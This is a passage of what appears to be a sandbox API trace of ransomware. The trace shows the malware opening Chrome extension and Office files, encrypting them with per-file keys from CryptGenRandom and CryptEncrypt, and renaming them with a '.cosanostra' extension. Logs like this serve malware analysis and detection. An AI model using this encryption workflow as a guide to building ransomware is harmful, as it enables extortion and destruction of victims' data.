lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0106.576] WriteFile (in: hFile=0x138, lpBuffer=0x3059f70*, nNumberOfBytesToWrite=0x1bef, lpNumberOfBytesWritten=0x26ff08c, lpOverlapped=0x0 | out: lpBuffer=0x3059f70*, lpNumberOfBytesWritten=0x26ff08c*=0x1bef, lpOverlapped=0x0) returned 1 [0106.577] SetFilePointerEx (in: hFile=0x138, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0106.577] WriteFile (in: hFile=0x138, lpBuffer=0x26ff0cc*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x26ff08c, lpOverlapped=0x0 | out: lpBuffer=0x26ff0cc*, lpNumberOfBytesWritten=0x26ff08c*=0x4, lpOverlapped=0x0) returned 1 [0106.577] WriteFile (in: hFile=0x138, lpBuffer=0x27c8c0*, nNumberOfBytesToWrite=0x30, lpNumberOfBytesWritten=0x26ff08c, lpOverlapped=0x0 | out: lpBuffer=0x27c8c0*, lpNumberOfBytesWritten=0x26ff08c*=0x30, lpOverlapped=0x0) returned 1 [0106.578] CloseHandle (hObject=0x138) returned 1 [0106.578] wnsprintfW (in: pszDest=0x267fb0, cchDest=32767, pszFmt="%s%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\cast_setup\\chromecast_logo_grey.png.cosanostra") returned 185 [0106.578] MoveFileW (lpExistingFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\cast_setup\\chromecast_logo_grey.png" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\cast_setup\\chromecast_logo_grey.png"), lpNewFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\cast_setup\\chromecast_logo_grey.png.cosanostra" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\cast_setup\\chromecast_logo_grey.png.cosanostra")) returned 1 [0106.580] CryptGenRandom (in: hProv=0x215d98, dwLen=0x20, pbBuffer=0x26ff0d0 | out: pbBuffer=0x26ff0d0) returned 1 [0106.580] CryptEncrypt (in: hKey=0x214d58, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x27c8c0*, pdwDataLen=0x26ff0c8*=0x20, dwBufLen=0x30 | out: pbData=0x27c8c0*, pdwDataLen=0x26ff0c8*=0x30) returned 1 [0106.580] CreateFileW (lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\cast_setup\\cast_app_redirect.js" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\cast_setup\\cast_app_redirect.js"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x138 [0106.581] lstrlenW (lpString="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\cast_setup\\cast_app_redirect.js") returned 170 [0106.581] StrStrW (lpFirst="cast_app_redirect.js", lpSrch=".txt") returned 0x0 [0106.582] SetFilePointerEx (in: hFile=0x138, liDistanceToMove=0xffffff0e, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0106.583] WriteFile (in: hFile=0x138, lpBuffer=0x3059f70*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x26ff08c, lpOverlapped=0x0 | out: lpBuffer=0x3059f70*, lpNumberOfBytesWritten=0x26ff08c*=0xf2, lpOverlapped=0x0) returned 1 [0106.583] SetFilePointerEx (in: hFile=0x138, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0106.583] WriteFile (in: hFile=0x138, lpBuffer=0x26ff0cc*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x26ff08c, lpOverlapped=0x0 | out: lpBuffer=0x26ff0cc*, lpNumberOfBytesWritten=0x26ff08c*=0x4, lpOverlapped=0x0) returned 1 [0106.583] WriteFile (in: hFile=0x138, lpBuffer=0x27c8c0*, nNumberOfBytesToWrite=0x30, lpNumberOfBytesWritten=0x26ff08c, lpOverlapped=0x0 | out: lpBuffer=0x27c8c0*, lpNumberOfBytesWritten=0x26ff08c*=0x30, lpOverlapped=0x0) returned 1 [0106.583] CloseHandle (hObject=0x138) returned 1 [0106.583] wnsprintfW (in: pszDest=0x267fb0, cchDest=32767, pszFmt="%s%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\cast_setup\\cast_app_redirect.js.cosanostra") returned 181 [0106.583] MoveFileW (lpExistingFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\cast_setup\\cast_app_redirect.js" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\cast_setup\\cast_app_redirect.js"), lpNewFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\cast_setup\\cast_app_redirect.js.cosanostra" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\cast_setup\\cast_app_redirect.js.cosanostra")) returned 1 [0106.584] CryptGenRandom (in: hProv=0x215d98, dwLen=0x20, pbBuffer=0x26ff0c8 | out: pbBuffer=0x26ff0c8) returned 1 [0106.584] CryptEncrypt (in: hKey=0x214d58, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x27c8c0*, pdwDataLen=0x26ff0c0*=0x20, dwBufLen=0x30 | out: pbData=0x27c8c0*, pdwDataLen=0x26ff0c0*=0x30) returned 1 [0106.584] CreateFileW (lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\cast_setup\\cast_app.js" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\cast_setup\\cast_app.js"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x138 [0106.588] lstrlenW (lpString="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\cast_setup\\cast_app.js") returned 161 [0106.588] StrStrW (lpFirst="cast_app.js", lpSrch=".txt") returned 0x0 [0106.634] SetFilePointerEx (in: hFile=0x138, liDistanceToMove=0xffffd800, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0106.634] WriteFile (in: hFile=0x138, lpBuffer=0x3059f70*, nNumberOfBytesToWrite=0x2800, lpNumberOfBytesWritten=0x26ff084, lpOverlapped=0x0 | out: lpBuffer=0x3059f70*, lpNumberOfBytesWritten=0x26ff084*=0x2800, lpOverlapped=0x0) returned 1 [0106.768] SetFilePointerEx (in: hFile=0x138, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0106.768] WriteFile (in: hFile=0x138, lpBuffer=0x26ff0c4*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x26ff084, lpOverlapped=0x0 | out: lpBuffer=0x26ff0c4*, lpNumberOfBytesWritten=0x26ff084*=0x4, lpOverlapped=0x0) returned 1 [0106.872] WriteFile (in: hFile=0x138, lpBuffer=0x27c8c0*, nNumberOfBytesToWrite=0x30, lpNumberOfBytesWritten=0x26ff084, lpOverlapped=0x0 | out: lpBuffer=0x27c8c0*, lpNumberOfBytesWritten=0x26ff084*=0x30, lpOverlapped=0x0) returned 1 [0106.872] CloseHandle (hObject=0x138) returned 1 [0106.872] wnsprintfW (in: pszDest=0x267fb0, cchDest=32767, pszFmt="%s%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\cast_setup\\cast_app.js.cosanostra") returned 172 [0106.873] MoveFileW (lpExistingFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\cast_setup\\cast_app.js" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\cast_setup\\cast_app.js"), lpNewFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\cast_setup\\cast_app.js.cosanostra" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\cast_setup\\cast_app.js.cosanostra")) returned 1 [0106.878] CryptGenRandom (in: hProv=0x215d98, dwLen=0x20, pbBuffer=0x26ff0c0 | out: pbBuffer=0x26ff0c0) returned 1 [0106.878] CryptEncrypt (in: hKey=0x214d58, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x27c8c0*, pdwDataLen=0x26ff0b8*=0x20, dwBufLen=0x30 | out: pbData=0x27c8c0*, pdwDataLen=0x26ff0b8*=0x30) returned 1 [0106.878] CreateFileW (lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\ca\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\ca\\messages.json"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x138 [0106.880] lstrlenW (lpString="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\ca\\messages.json") returned 159 [0106.880] StrStrW (lpFirst="messages.json", lpSrch=".txt") returned 0x0 [0106.888] SetFilePointerEx (in: hFile=0x138, liDistanceToMove=0xfffffd3f, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0106.888] WriteFile (in: hFile=0x138, lpBuffer=0x305f380*, nNumberOfBytesToWrite=0x2c1, lpNumberOfBytesWritten=0x26ff07c, lpOverlapped=0x0 | out: lpBuffer=0x305f380*, lpNumberOfBytesWritten=0x26ff07c*=0x2c1, lpOverlapped=0x0) returned 1 [0106.888] SetFilePointerEx (in: hFile=0x138, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0106.889] WriteFile (in: hFile=0x138, lpBuffer=0x26ff0bc*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x26ff07c, lpOverlapped=0x0 | out: lpBuffer=0x26ff0bc*, lpNumberOfBytesWritten=0x26ff07c*=0x4, lpOverlapped=0x0) returned 1 [0106.889] WriteFile (in: hFile=0x138, lpBuffer=0x27c8c0*, nNumberOfBytesToWrite=0x30, lpNumberOfBytesWritten=0x26ff07c, lpOverlapped=0x0 | out: lpBuffer=0x27c8c0*, lpNumberOfBytesWritten=0x26ff07c*=0x30, lpOverlapped=0x0) returned 1 [0106.889] CloseHandle (hObject=0x138) returned 1 [0106.889] wnsprintfW (in: pszDest=0x267fb0, cchDest=32767, pszFmt="%s%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\ca\\messages.json.cosanostra") returned 170 [0106.890] MoveFileW (lpExistingFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\ca\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\ca\\messages.json"), lpNewFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\ca\\messages.json.cosanostra" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\ca\\messages.json.cosanostra")) returned 1 [0106.896] CryptGenRandom (in: hProv=0x215d98, dwLen=0x20, pbBuffer=0x26ff0b8 | out: pbBuffer=0x26ff0b8) returned 1 [0106.896] CryptEncrypt (in: hKey=0x214d58, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x27c8c0*, pdwDataLen=0x26ff0b0*=0x20, dwBufLen=0x30 | out: pbData=0x27c8c0*, pdwDataLen=0x26ff0b0*=0x30) returned 1 [0106.897] CreateFileW (lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\images\\topbar_floating_button_pressed.png" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\images\\topbar_floating_button_pressed.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x138 [0106.898] lstrlenW (lpString="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\images\\topbar_floating_button_pressed.png") returned 175 [0106.898] StrStrW (lpFirst="topbar_floating_button_pressed.png", lpSrch=".txt") returned 0x0 [0106.900] SetFilePointerEx (in: hFile=0x138, liDistanceToMove=0xffffff60, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0106.900] WriteFile (in: hFile=0x138, lpBuffer=0x305f380*, nNumberOfBytesToWrite=0xa0, lpNumberOfBytesWritten=0x26ff074, lpOverlapped=0x0 | out: lpBuffer=0x305f380*, lpNumberOfBytesWritten=0x26ff074*=0xa0, lpOverlapped=0x0) returned 1 [0106.900] SetFilePointerEx (in: hFile=0x138, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0106.900] WriteFile (in: hFile=0x138, lpBuffer=0x26ff0b4*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x26ff074, lpOverlapped=0x0 | out: lpBuffer=0x26ff0b4*, lpNumberOfBytesWritten=0x26ff074*=0x4, lpOverlapped=0x0) returned 1 [0106.901] WriteFile (in: hFile=0x138, lpBuffer=0x27c8c0*, nNumberOfBytesToWrite=0x30, lpNumberOfBytesWritten=0x26ff074, lpOverlapped=0x0 | out: lpBuffer=0x27c8c0*, lpNumberOfBytesWritten=0x26ff074*=0x30, lpOverlapped=0x0) returned 1 [0106.901] CloseHandle (hObject=0x138) returned 1 [0106.901] wnsprintfW (in: pszDest=0x267fb0, cchDest=32767, pszFmt="%s%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\images\\topbar_floating_button_pressed.png.cosanostra") returned 186 [0106.901] MoveFileW (lpExistingFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\images\\topbar_floating_button_pressed.png" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\images\\topbar_floating_button_pressed.png"), lpNewFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\images\\topbar_floating_button_pressed.png.cosanostra" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\images\\topbar_floating_button_pressed.png.cosanostra")) returned 1 [0106.902] CryptGenRandom (in: hProv=0x215d98, dwLen=0x20, pbBuffer=0x26ff0b8 | out: pbBuffer=0x26ff0b8) returned 1 [0106.903] CryptEncrypt (in: hKey=0x214d58, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x27c8c0*, pdwDataLen=0x26ff0b0*=0x20, dwBufLen=0x30 | out: pbData=0x27c8c0*, pdwDataLen=0x26ff0b0*=0x30) returned 1 [0106.903] CreateFileW (lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\images\\topbar_floating_button_maximize.png" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\images\\topbar_floating_button_maximize.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x138 [0106.904] lstrlenW (lpString="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\images\\topbar_floating_button_maximize.png") returned 176 [0106.904] StrStrW (lpFirst="topbar_floating_button_maximize.png", lpSrch=".txt") returned 0x0 [0106.907] SetFilePointerEx (in: hFile=0x138, liDistanceToMove=0xffffff5a, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0106.907] WriteFile (in: hFile=0x138, lpBuffer=0x305f380*, nNumberOfBytesToWrite=0xa6, lpNumberOfBytesWritten=0x26ff074, lpOverlapped=0x0 | out: lpBuffer=0x305f380*, lpNumberOfBytesWritten=0x26ff074*=0xa6, lpOverlapped=0x0) returned 1 [0106.907] SetFilePointerEx (in: hFile=0x138, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0106.907] WriteFile (in: hFile=0x138, lpBuffer=0x26ff0b4*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x26ff074, lpOverlapped=0x0 | out: lpBuffer=0x26ff0b4*, lpNumberOfBytesWritten=0x26ff074*=0x4, lpOverlapped=0x0) returned 1 [0106.908] WriteFile (in: hFile=0x138, lpBuffer=0x27c8c0*, nNumberOfBytesToWrite=0x30, lpNumberOfBytesWritten=0x26ff074, lpOverlapped=0x0 | out: lpBuffer=0x27c8c0*, lpNumberOfBytesWritten=0x26ff074*=0x30, lpOverlapped=0x0) returned 1 [0106.908] CloseHandle (hObject=0x138) returned 1 [0106.908] wnsprintfW (in: pszDest=0x267fb0, cchDest=32767, pszFmt="%s%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\images\\topbar_floating_button_maximize.png.cosanostra") returned 187 [0106.908] MoveFileW (lpExistingFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\images\\topbar_floating_button_maximize.png" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\images\\topbar_floating_button_maximize.png"), lpNewFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\images\\topbar_floating_button_maximize.png.cosanostra" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\images\\topbar_floating_button_maximize.png.cosanostra")) returned 1 [0106.910] CryptGenRandom (in: hProv=0x215d98, dwLen=0x20, pbBuffer=0x26ff0b0 | out: pbBuffer=0x26ff0b0) returned 1 [0106.910] CryptEncrypt (in: hKey=0x214d58, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x27c8c0*, pdwDataLen=0x26ff0a8*=0x20, dwBufLen=0x30 | out: pbData=0x27c8c0*, pdwDataLen=0x26ff0a8*=0x30) returned 1 [0106.910] CreateFileW (lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\images\\topbar_floating_button_hover.png" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\images\\topbar_floating_button_hover.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x180 [0107.537] lstrlenW (lpString="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\images\\topbar_floating_button_hover.png") returned 173 [0107.537] StrStrW (lpFirst="topbar_floating_button_hover.png", lpSrch=".txt") returned 0x0 [0107.538] SetFilePointerEx (in: hFile=0x180, liDistanceToMove=0xffffff60, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0107.538] WriteFile (in: hFile=0x180, lpBuffer=0x3059f70*, nNumberOfBytesToWrite=0xa0, lpNumberOfBytesWritten=0x26ff06c, lpOverlapped=0x0 | out: lpBuffer=0x3059f70*, lpNumberOfBytesWritten=0x26ff06c*=0xa0, lpOverlapped=0x0) returned 1 [0107.538] SetFilePointerEx (in: hFile=0x180, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0107.538] WriteFile (in: hFile=0x180, lpBuffer=0x26ff0ac*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x26ff06c, lpOverlapped=0x0 | out: lpBuffer=0x26ff0ac*, lpNumberOfBytesWritten=0x26ff06c*=0x4, lpOverlapped=0x0) returned 1 [0107.538] WriteFile (in: hFile=0x180, lpBuffer=0x27c8c0*, nNumberOfBytesToWrite=0x30, lpNumberOfBytesWritten=0x26ff06c, lpOverlapped=0x0 | out: lpBuffer=0x27c8c0*, lpNumberOfBytesWritten=0x26ff06c*=0x30, lpOverlapped=0x0) returned 1 [0107.538] CloseHandle (hObject=0x180) returned 1 [0107.539] wnsprintfW (in: pszDest=0x23b158, cchDest=32767, pszFmt="%s%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\images\\topbar_floating_button_hover.png.cosanostra") returned 184 [0107.539] MoveFileW (lpExistingFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\images\\topbar_floating_button_hover.png" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\images\\topbar_floating_button_hover.png"), lpNewFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\images\\topbar_floating_button_hover.png.cosanostra" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\images\\topbar_floating_button_hover.png.cosanostra")) returned 1 [0107.550] CryptGenRandom (in: hProv=0x215d98, dwLen=0x20, pbBuffer=0x26ff0b0 | out: pbBuffer=0x26ff0b0) returned 1 [0107.550] CryptEncrypt (in: hKey=0x214d58, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x27c8c0*, pdwDataLen=0x26ff0a8*=0x20, dwBufLen=0x30 | out: pbData=0x27c8c0*, pdwDataLen=0x26ff0a8*=0x30) returned 1 [0107.550] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\OFFICE\\UICaptions\\1036\\MAPIR.DLL.trx_dll" (normalized: "c:\\programdata\\microsoft\\office\\uicaptions\\1036\\mapir.dll.trx_dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0107.550] CryptGenRandom (in: hProv=0x215d98, dwLen=0x20, pbBuffer=0x26ff0a8 | out: pbBuffer=0x26ff0a8) returned 1 [0107.550] CryptEncrypt (in: hKey=0x214d58, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x27c8c0*, pdwDataLen=0x26ff0a0*=0x20, dwBufLen=0x30 | out: pbData=0x27c8c0*, pdwDataLen=0x26ff0a0*=0x30) returned 1 [0107.550] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\OFFICE\\UICaptions\\1036\\GRINTL32.REST.trx_dll" (normalized: "c:\\programdata\\microsoft\\office\\uicaptions\\1036\\grintl32.rest.trx_dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, 